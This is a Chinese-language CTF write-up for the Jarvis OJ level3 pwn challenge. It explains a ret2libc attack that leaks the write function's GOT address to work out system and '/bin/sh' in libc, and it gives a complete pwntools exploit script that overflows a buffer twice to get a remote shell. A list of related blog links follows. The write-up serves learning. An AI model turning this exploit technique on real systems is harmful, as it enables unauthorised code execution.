Jarvis OJ - [XMAN]level3 - Writeup——ret2libc尝试
这次除了elf程序还附带一个动态链接库
先看一下,很一般的保护
思路分析
在ida中查看,可以确定通过read函数输入buf进行溢出,但是并没有看到合适的目标函数
但是用ida打开附带的链接库,可以看到system函数和“/bin/sh”字符串都存在
于是思路就确定为read函数溢出->system函数,同时加入参数“/bin/sh”
通过libc.so文件可以得到write、system和/bin/sh的偏移,但system和/bin/sh在内存的地址是未知的
函数在内存中地址为func_addr,在libc中偏移为func_libc则有
sys_addr - sys_libc == write_addr - write_libc
所以我们可以通过泄露write函数的地址,利用函数在内存中的地址和libc文件中的偏移的差相等,获得system的地址
构造下图栈帧,溢出目标为system("/bin/sh"),获取shell
方法论
要利用偏移相等获得system和bin的地址,首先要泄露得到write的真实地址
可以通过打印write在got表中的地址,获取其真实地址
所以首先要输出write_got所对应的地址
所以先构造下图栈帧,先通过溢出write函数打印write_got
再返回到vuln函数再次执行read,实现二次溢出到system,最终获取shell
exp
#!usr/bin/env python
# encoding:utf-8
from pwn import * #io = process("./level3")
io = remote("pwn2.jarvisoj.com",9879)
elf = ELF("./level3") writeplt = elf.plt["write"] #plt和got都在可执行程序中
writegot = elf.got["write"]
func = elf.symbols["vulnerable_function"] libc = ELF("./libc-2.19.so")
writelibc = libc.symbols["write"] #libc中可以找到程序中有的/没有的函数的偏移
syslibc = libc.symbols["system"]
binlibc = libc.search("/bin/sh").next() payload1 = 'a' * 0x88 + 'f**k' + p32(writeplt) + p32(func) + p32(1)+p32(writegot)+p32(4) #溢出地址+返回地址+参数 io.recvuntil("Input:\n")
io.sendline(payload1) writeaddr = u32(io.recv(4)) #由于python没有指针,不能*write_got,需要将其输出并保存
sysaddr = writeaddr - writelibc + syslibc #利用偏移量相等获得其真实地址
binaddr = writeaddr - writelibc + binlibc payload2 = 'a' * 0x88 + 'f**k' + p32(sysaddr) + p32(func) + p32(binaddr)
io.recvuntil("Input:\n")
io.sendline(payload2)
io.interactive()
io.close()
补充
经@M4X学长提醒,本地运行时优先装在本地系统中的libc库,导致实际装载库并非
造成本地地址错误,但是远程没问题
可以首先进行if判断,链接不同的库解决
作者:辣鸡小谱尼
出处:http://www.cnblogs.com/ZHijack/
如有转载,荣幸之至!请随手标明出处;
Jarvis OJ - [XMAN]level3 - Writeup——ret2libc尝试的更多相关文章
- Jarvis OJ - [XMAN]level1 - Writeup
Jarvis OJ - [XMAN]level1 - Writeup M4x原创,转载请表明出处http://www.cnblogs.com/WangAoBo/p/7594173.html 题目: 分 ...
- Jarvis OJ - [XMAN]level2 - Writeup
简单利用"/bin/sh"夺权 简单看一下 放到ida中发现了"/bin/sh"串,和system函数,可以利用== 所以只要在vuln函数返回时跳转到syst ...
- Jarvis OJ - [XMAN]level1 - Writeup——简单shellcode利用
100分的pwn 简单查看一下,果然还是比较简单的 放到ida中查看一下,有明显的溢出函数,并且在函数中打印出了字符串的地址,并且字符串比较长,没有NX保护 所以我们很容易想到构造shellcode, ...
- Jarvis OJ - [XMAN]level0 - Writeup
差不多最简单的pwn了吧,不过本菜鸟还是要发出来镇楼 分析一下,checksec 查看程序的各种保护机制 没有金丝雀,没有pie 执行时输出Hello,World,在进行输入,溢出嘛 开工 丢到id ...
- Jarvis OJ - 爬楼梯 -Writeup
Jarvis OJ - 爬楼梯 -Writeup 本来是想逆一下算法的,后来在学长的指导下发现可以直接修改关键函数,这个题做完有种四两拨千斤的感觉,记录在这里 转载请标明出处:http://www.c ...
- jarvis OJ WEB题目writeup
0x00前言 发现一个很好的ctf平台,题目感觉很有趣,学习了一波并记录一下 https://www.jarvisoj.com 0x01 Port51 题目要求是用51端口去访问该网页,注意下,要用具 ...
- Jarvis OJ [XMAN]level1 write up
首先 老规矩,把软件拖到Ubuntu里checksec一下文件 然后知道了软件位数就放到IDA32里面... 熟悉的函数名... 缘真的妙不可言... 然后看了下vulnerable_function ...
- jarvis OJ部分writeup
[XMAN]level 0 [XMAN]level 1 —— 简单shellcode利用 [XMAN]level 2 [XMAN]level 3 —— ret2libc尝试 [XMAN]level2& ...
- Jarvis OJ - 栈系列部分pwn - Writeup
最近做了Jarvis OJ的一部分pwn题,收获颇丰,现在这里简单记录一下exp,分析过程和思路以后再补上 Tell Me Something 此题与level0类似,请参考level0的writeu ...
随机推荐
- rewrite写法
RewriteRule ^/android-special-(\d+).html$ /special/index.php?c=index&a=specialDetail&speid=$ ...
- Phonegap开发相关问题
环境搭建:参考http://www.phonegapcn.com/start/zh/1.3/#android 调试: 1.在线远程调试 http://debug.phonegap.com/ 通过USB ...
- [java语言]——InetAddress类的getByName()方法
InetAddress---表示互联网协议(IP)地址 ---InetAddress.getByName("www.163.com")----在给定主机名的情况下确定主机的IP地址 ...
- React 和 Angular 各有什么优缺点,各自又适合什么开发场景?
最近正在学习React,便谈一点自己的浅见. Angular.js首先Angular的背后是Google,所以社区基础是不用担心的,整个生态也已经是非常的完整了,从最基本的Tutorial到Stack ...
- Nodejs学习笔记(十五)--- Node.js + Koa2 构建网站简单示例
目录 前言 搭建项目及其它准备工作 创建数据库 创建Koa2项目 安装项目其它需要包 清除冗余文件并重新规划项目目录 配置文件 规划示例路由,并新建相关文件 实现数据访问和业务逻辑相关方法 编写mys ...
- JVM命令
jstack--jstack用于打印出给定的java进程ID或core file或远程调试服务的Java堆栈信息: jinfo--jinfo可以输出并修改运行时的java 进程的opts.用处比较简单 ...
- MySQL中Left Join和Right Join的理解
虽然之前一直见过两个Join,对于其具体的含义也在参考书上读过,但是一直没有记住.现在换一种方式进行学习,改为实验方式理解. Left Join 测试表: 表结构很简单,test包括两个int字段,t ...
- 用原型代替PRD时,原型应该包含哪些内容
随着互联网节奏越来越快,传统的需求文档已经比较难适应市场的脚步,特别对于要求敏捷的团队来说,冗余而细致入微的需求文档已经成为包袱(这么长个文档领导也不会看呀).目前大多数团队更喜爱直接使用原型来代替需 ...
- mysql 5.7.13 安装配置方法图文教程(linux) (转)
http://www.jb51.net/article/87160.htm ************************************************ linux环境Mysql ...
- sql 触发器,看完后对CHK有更深的理解
触发器是一种特殊类型的存储过程,它不同于之前的我们介绍的存储过程.触发器主要是通过事件进行触发被自动调用执行的.而存储过程可以通过存储过程的名称被调用. 什么是触发器? 触发器对表进行插入.更新.删除 ...